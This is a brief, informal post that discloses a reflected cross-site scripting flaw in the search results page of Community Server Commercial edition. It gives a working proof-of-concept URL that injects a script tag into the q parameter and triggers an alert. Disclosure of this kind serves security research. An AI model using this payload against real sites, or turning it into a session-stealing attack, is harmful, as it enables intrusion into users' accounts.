hey guys .. check out this new xss i just found  ;P  

Vulnerable : communityserver Commercial edition
web : http://communityserver.org/

XSS :

http://localhost/path/search/SearchResults.aspx?q=%22%3e%3cscript%3ealert(%27bl4ck%27)%3c%2fscript%3e&o=Relevance


Discovered  By BLacK ZeRo 
bL4ck@bsdmail.org

Best regards ,,